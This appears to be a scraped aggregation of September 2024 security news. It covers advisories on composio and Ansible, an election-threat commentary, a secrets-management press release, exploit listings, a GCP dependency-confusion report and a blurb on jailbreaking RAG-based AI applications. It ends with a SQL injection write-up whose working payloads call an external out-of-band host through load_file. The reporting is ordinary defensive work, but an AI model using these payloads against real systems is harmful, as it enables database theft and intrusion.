A vulnerability has been found in composiohq composio up to 0.5.6 and classified as critical. Affected by this vulnerability is the function Calculator of the file python/composio/tools/local/mathematical/actions/calculator.py. The manipulation leads to code injection. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

**Exploitability Metrics**

Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.

Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.

Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.

Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.

User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.

**Vulnerable System Impact Metrics**

Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.

Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).

Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.

**Subsequent System Impact Metrics**

Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.

Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).

Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.

GHSA-mrmh-3hqh-pfw7: Composio Code Injection Vulnerability

A vulnerability was found in composiohq composio up to 0.5.8 and classified as problematic. Affected by this issue is the function path of the file composio\server\api.py. The manipulation of the argument file leads to path traversal. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

GHSA-66r2-xm28-74w9: Composio Path Traversal vulnerability

A flaw was found in Ansible, where sensitive information stored in Ansible Vault files can be exposed in plaintext during the execution of a playbook. This occurs when using tasks such as include_vars to load vaulted variables without setting the no_log: true parameter, resulting in sensitive data being printed in the playbook output or logs. This can lead to the unintentional disclosure of secrets like passwords or API keys, compromising security and potentially allowing unauthorized access or actions.

**Ansible vulnerable to Insertion of Sensitive Information into Log File**

Moderate severity GitHub Reviewed Published Sep 16, 2024 to the GitHub Advisory Database • Updated Sep 16, 2024

GHSA-jpxc-vmjf-9fcj: Ansible vulnerable to Insertion of Sensitive Information into Log File

While the 2024 election may see various cyber threats, existing security measures and coordination across all levels of government aim to minimize their impact.

Mike Kosak, Senior Principal Intelligence Analyst, LastPass

September 16, 2024

4 Min Read

Source: Saphiens via Alamy Stock Photo

COMMENTARY

As the 2024 US presidential election approaches, cybersecurity is a frequent topic of conversation. From my time in the intelligence community supporting the Department of Defense, I'm familiar with government planning around elections. While the most discussed threats for 2024 are nation-state misinformation and disinformation, this election season, I'm also following cybersecurity threats to municipal election systems. 

The good news is the threat of an actual impactful disruption is low. As the US has funneled significant resources into securing elections over the past decade, US Cybersecurity and Infrastructure Security Agency (CISA) lead Jen Easterly said election infrastructure "has never been more secure." However, that doesn't mean threat actors aren't likely to attempt some sort of attacks, such as website defacements or distributed denial of service (DDoS) attacks against municipal election websites.

Here are the four threats against local election systems we will most likely hear about in 2024:

**Voting Machine Hacking**

The most high-profile threat to US elections is voting machine hacking. However, voting machines are rarely connected directly to the Internet, which aligns with current cybersecurity guidelines. This means the most realistic threat vector would require physical access to the machines, according to F5 Labs, a concern addressed through anti-tampering and physical security guidelines around the country. While cyber vulnerabilities within voting machines exist — as demonstrated annually at the DEFCON Voting Village hacking event — to date, there have been no reports of cyberattacks taking voting machines offline or changing votes, despite the clear value of such a capability to US adversaries.

**DDoS Attacks**

DDoS attacks are a less disruptive but more frequent threat to US elections. Election monitoring and information websites leveraging Google's Project Shield DDoS protection services experienced a 400% increase in weekly attacks during the 2022 midterms. While several companies like Cloudflare offer free DDoS protection services to election-related websites, some sites are still going down. Mississippi's election websites were briefly taken offline in 2022 by a DDoS attack claimed by a pro-Russia hacking group. However, the attack did not impact voting results or availability.

Given the increased profile of the presidential election, we can expect to see DDoS on a larger scale in 2024. However, as CISA and the FBI stated in a July 31 alert, these attacks would not prevent voters from casting their ballots.

**Ransomware**

The FBI and CISA released a similar alert on Aug. 15 related to ransomware disruptions, reassuring the public that any attack along these lines would not compromise the security or accuracy of voting. Ransomware groups will likely target municipalities — already a common target — in the run-up to the elections. 

For instance, a ransomware attack in April forced a Georgia county to temporarily disconnect from the state's voter registration system as a precautionary measure — highlighting disruptions that could occur around access to voter data or other election information. However, the FBI and CISA noted, "Any successful ransomware attack on election infrastructure tracked by FBI and CISA has remained localized and successfully managed with minimal disruption to election operations and no impact on the security and accuracy of ballot casting or tabulation processes or systems." Similar to DDoS attacks, no reporting suggests ransomware attacks have ever prevented a vote from being cast.

**Website Defacement and Email Access**

Website defacements are another common threat, where attackers take over election-related sites to alter data or images. These attacks can either aim to embarrass the site owner or subtly manipulate information, such as polling results or polling station hours.

In 2020, a threat actor briefly took over the campaign website for then President Trump, posting a derogatory message and seeking payment in return for not releasing data they claimed to have stolen. While these attacks may occur and could cause local disruptions, they would not impact the ability to vote or tally votes.

Hybrid cyber-physical threats, such as the increasing use of emails or spoofed phone numbers to deliver fake bomb threats or conduct swatting attacks, also present a concern, where false scenarios are reported to provoke a large police response. In 2018, a months-long campaign targeting US schools and businesses caused evacuations, police responses, and major disruptions. Similar attacks on election day could target polling stations, election offices, or ballot-counting sites.

Finally, threat actors (particularly nation-states) will continue to target email accounts of political operatives and organizations. The US intelligence community has already attributed social engineering attacks targeting both major US political parties to Iran. These attacks aimed to access sensitive or embarrassing information to influence the US election, highlighting the frequency of politically motivated social engineering attacks and the importance of secure, unique passwords and multifactor authentication. 

**Safeguarding the Vote**

While cyberattacks will undoubtedly target US election infrastructure over the next few months, it's important to place these events in the context of the protections put in place. Federal, state, local, and tribal governments, as well as international allies, have all been tracking these threats and implementing mitigations and contingencies to help ensure a secure and smooth election. 

While the 2024 election may see various cyber threats, existing security measures and coordination across all levels of government aim to minimize their impact. Voters should stay informed and rely on official sources to ensure their participation is not disrupted.

**About the Author**

Senior Principal Intelligence Analyst, LastPass

Mike Kosak is a former US Department of Defense (DoD) counterterrorism intelligence officer with more than 20 years of experience as a threat intelligence analyst. While with the DoD, he served in several senior intelligence officer roles, including leading the Pentagon office responsible for providing intelligence updates to the chairman of the Joint Chiefs of Staff, and was deployed to Iraq three times in support of Operation Iraqi Freedom. He also served as the acting senior command representative to the Joint Special Operations Command for the Defense Intelligence Agency. During his deployments, he led intelligence teams in support of both conventional and special forces. Following his government service, Kosak held private sector cyber intelligence positions at Bank of America, where he led the Strategic Cyber Intelligence and Threat Evaluation teams, and TIAA, where he led the Cyber Threat Intelligence team. He currently serves as the senior principal intelligence analyst at LastPass.

Cybersecurity &amp; the 2024 US Elections

Boston, USA, 16th September 2024, CyberNewsWire

**Boston, USA, September 16th, 2024, CyberNewsWire**

Analysis of millions of real-world NHI secrets by Entro Security Labs reveals widespread, significant risks, emphasizes need for improved Secrets Management security practices   

Entro Security, pioneer of the award-winning Non-Human Identity (NHI) and Secrets Management platform, today released its research report, “2025 State of Non-Human Identities and Secrets in Cybersecurity.” The Entro Security Lab found that 97% of NHIs have excessive privileges increasing unauthorized access and broadening the attack surface, and 92% of organizations are exposing NHIs to third parties, also resulting in unauthorized access if third-party security practices are not aligned with organizational standards. Surprisingly, 44% of tokens are exposed in the wild, being sent or stored over platforms like Teams, Jira tickets, Confluence pages, code commits and more. Such practices put sensitive information at serious risk of being intercepted and exposed–the root of all secrets and non-human identity breaches. 

Entro Security Labs’ research reveals alarming trends in the handling of both human and NHIs, with significant misconfigurations and risks prevalent across organizations. Key findings include: 

*   For each human identity, there are an average of 92 non-human identities. An overwhelming number of non-human identities increases the complexity of identity management and the potential for security vulnerabilities 
*   91% of former employee tokens remain active, leaving organizations vulnerable to potential security breaches 
*   50% of organizations are onboarding new vaults without proper security approval which can introduce vulnerabilities and misconfigurations from the outset 
*   73% of vaults are misconfigured, also leading to unauthorized access and exposure of sensitive data and compromised systems 
*   60% of NHIs are being overused, with the same NHI being utilized by more than one application, increasing the risk of a single point of failure and widespread compromise if exposed 
*   62% of all secrets are duplicated and stored in multiple locations, causing unnecessary redundancy and increasing the risk of accidental exposure 
*   71% of non-human identities are not rotated within the recommended time frames, increasing the risk of compromise over time 

Additional findings are discussed in the report and reveal a critical need for organizations to reassess their NHIs and secrets management practices.  

Data from this report has been collected using a mixed-methods approach, integrating quantitative data analysis with qualitative insights derived from industry observations. The quantitative component focuses on statistical analysis of security incidents and vulnerabilities, while the qualitative aspect provides context and interpretation of these findings within the broader cybersecurity landscape. The data sources include proprietary data from Entro’s cybersecurity infrastructure, secondary data from publicly available industry reports and survey data from IT and security professionals. 

Entro’s complete research report on non-human identities is available on their website. 

To learn more or schedule a demo, please visit https://entro.security/demo/.  

**About Entro Security** 

An award-winning pioneer platform, Entro Security provides Non-Human Identity Lifecycle Management, Secrets Security and Non-Human Identity Detection and Response. Unlike traditional methods that reactively scan for exposed secrets, Entro integrates seamlessly within an organization’s existing vaults, and secret creation and exposure locations, offering a single pane of glass to securely use and manage non-human identities and secrets at scale. Headquartered in Boston and backed by top cybersecurity VCs, Entro was named a Cool Vendor by Gartner, Venafi’s Most Promising Machine Identity startup and is a 2023 Globee Awards Winner for Startup Achievement of the Year. For more information, please visit https://www.entro.security. 

**Contact**

**Senior Account Executive**  
**Hannah Sather**  
**Montner Tech PR**  
**\[email protected\]**

Entro Security Labs Releases Non-Human Identities Research Security Advisory

Proof of concept unauthenticated remote code execution exploit for Calibre versions 7.14.0 and below.

Calibre 7.14.0 Remote Code Execution

Veeam Backup and Replication version 12.1.2.172 unauthenticated remote code execution exploit.

Veeam Backup And Replication 12.1.2.172 Remote Code Execution

A now-patched critical security flaw impacting Google Cloud Platform (GCP) Composer could have been exploited to achieve remote code execution on cloud servers by means of a supply chain attack technique called dependency confusion.
The vulnerability has been codenamed CloudImposer by Tenable Research.
"The vulnerability could have allowed an attacker to hijack an internal software dependency

Cloud Security / Vulnerability

A now-patched critical security flaw impacting Google Cloud Platform (GCP) Composer could have been exploited to achieve remote code execution on cloud servers by means of a supply chain attack technique called dependency confusion.

The vulnerability has been codenamed **CloudImposer** by Tenable Research.

"The vulnerability could have allowed an attacker to hijack an internal software dependency that Google pre-installs on each Google Cloud Composer pipeline-orchestration tool," security researcher Liv Matan said in a report shared with The Hacker News.

Dependency confusion (aka substitution attack), which was first documented by security researcher Alex Birsan in February 2021, refers to a type of software supply chain compromise in which a package manager is tricked into pulling a malicious package from a public repository instead of the intended file of the same name from an internal repository.

So, a threat actor could stage a large-scale supply chain attack by publishing a counterfeit package to a public package repository with the same name as a package internally developed by companies and with a higher version number.

This, in turn, causes the package manager to unknowingly download the malicious package from the public repository instead of the private repository, effectively replacing the existing package dependency with its rogue counterpart.

The problem identified by Tenable is similar in that it could be abused to upload a malicious package to the Python Package Index (PyPI) repository with the name "google-cloud-datacatalog-lineage-producer-client," which could then be preinstalled on all Composer instances with elevated permissions.

While Cloud Composer requires that the package in question is version-pinned (i.e., version 0.1.0), Tenable found that using the "--extra-index-url" argument during a "pip install" command prioritizes fetching the package from the public registry, thereby opening the door to dependency confusion.

Armed with this privilege, attackers could execute code, exfiltrate service account credentials, and move laterally in the victim's environment to other GCP services.

Following responsible disclosure on January 18, 2024, it was fixed by Google in May 2024 by ensuring that the package is only installed from a private repository. It has also added the extra precaution of verifying the package's checksum in order to confirm its integrity and validate that it has not been tampered with.

The Python Packaging Authority (PyPA) is said to have been aware of the risks posed by the "--extra-index-url" argument since at least March 2018, urging users to skip using PyPI in cases where the internal package needs to be pulled.

"Packages are expected to be unique up to name and version, so two wheels with the same package name and version are treated as indistinguishable by pip," a PyPA member noted at the time. "This is a deliberate feature of the package metadata, and not likely to change."

Google, as part of its fix, now also recommends that developers use the "--index-url" argument instead of the "–extra-index-url" argument and that GCP customers make use of an Artifact Registry virtual repository when requiring multiple repositories.

"The '--index-url' argument reduces the risk of dependency confusion attacks by only searching for packages in the registry that was defined as a given value for that argument," Matan said.

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Google Fixes GCP Composer Flaw That Could've Led to Remote Code Execution

Whitepaper called Unleashing Worms and Extracting Data: Escalating the Outcome of Attacks against RAG-based Inference in Scale and Severity Using Jailbreaking. In this paper, the authors show that with the ability to jailbreak a GenAI model, attackers can escalate the outcome of attacks against RAG-based GenAI-powered applications in severity and scale.

Unleashing Worms And Extracting Data

Ship Ferry Ticket Reservation System version 1.0 suffers from multiple remote SQL injection vulnerabilities.

    ## Titles: SFTRS - PHP (by: oretnom23 ) v1.0 Multiple-SQLi### Bonus: FU + RCE & XSS - Information disclosure## Author: nu11secur1ty## Date: 09/14/2024## Vendor: https://github.com/oretnom23## Software:https://www.sourcecodester.com/php/14923/shipferry-ticket-reservation-system-using-php-free-source-code.html## Reference: https://portswigger.net/web-security/sql-injection## Description:The `password` parameter appears to be vulnerable to SQL injection attacks.The payload '+(select load_file('\\\\wxx3v5fkcqnwh58c574znoqo1f78vyjpmde05ou.oastify.com\\tiq'))+' was submittedin the password parameter. This payload injects a SQL sub-query that callsMySQL's load_file function with a UNC file path that references a URL on anexternal domain. The application interacted with that domain, indicatingthat the injected SQL query was executed. The attacker can get all theinformation from the database of this system, and he can do very maliciousaction against the owner of this application!STATUS: HIGH- Vulnerability for deprecation!WARNING: DON'T USE ANY PRODUCTS FROM THIS VENDOR!https://github.com/oretnom23[+]Exploits:- SQLi Multiple:```mysql---Parameter: password (POST)    Type: boolean-based blind    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)    Payload: username=iOPjKWgj&password=i8V!p7q!S1'+(select load_file('\\\\wxx3v5fkcqnwh58c574znoqo1f78vyjpmde05ou.oastify.com\\tiq'))+'') OR NOT9033=9033 AND ('ehPW'='ehPW    Type: error-based    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUPBY clause (FLOOR)    Payload: username=iOPjKWgj&password=i8V!p7q!S1'+(select load_file('\\\\wxx3v5fkcqnwh58c574znoqo1f78vyjpmde05ou.oastify.com\\tiq'))+'') AND (SELECT4905 FROM(SELECT COUNT(*),CONCAT(0x7171767a71,(SELECT(ELT(4905=4905,1))),0x71706b7871,FLOOR(RAND(0)*2))x FROMINFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND ('zzCg'='zzCg    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: username=iOPjKWgj&password=i8V!p7q!S1'+(select load_file('\\\\wxx3v5fkcqnwh58c574znoqo1f78vyjpmde05ou.oastify.com\\tiq'))+'') AND (SELECT1493 FROM (SELECT(SLEEP(7)))tpHs) AND ('PbYw'='PbYw---```## Reproduce:[href](https://www.patreon.com/posts/sftrs-php-by-v1-112034018)## Proof and Exploit:[href](https://www.nu11secur1ty.com/2024/09/sftrs-php-by-oretnom23-shipferry-ticket.html)## Time spent:00:17:00

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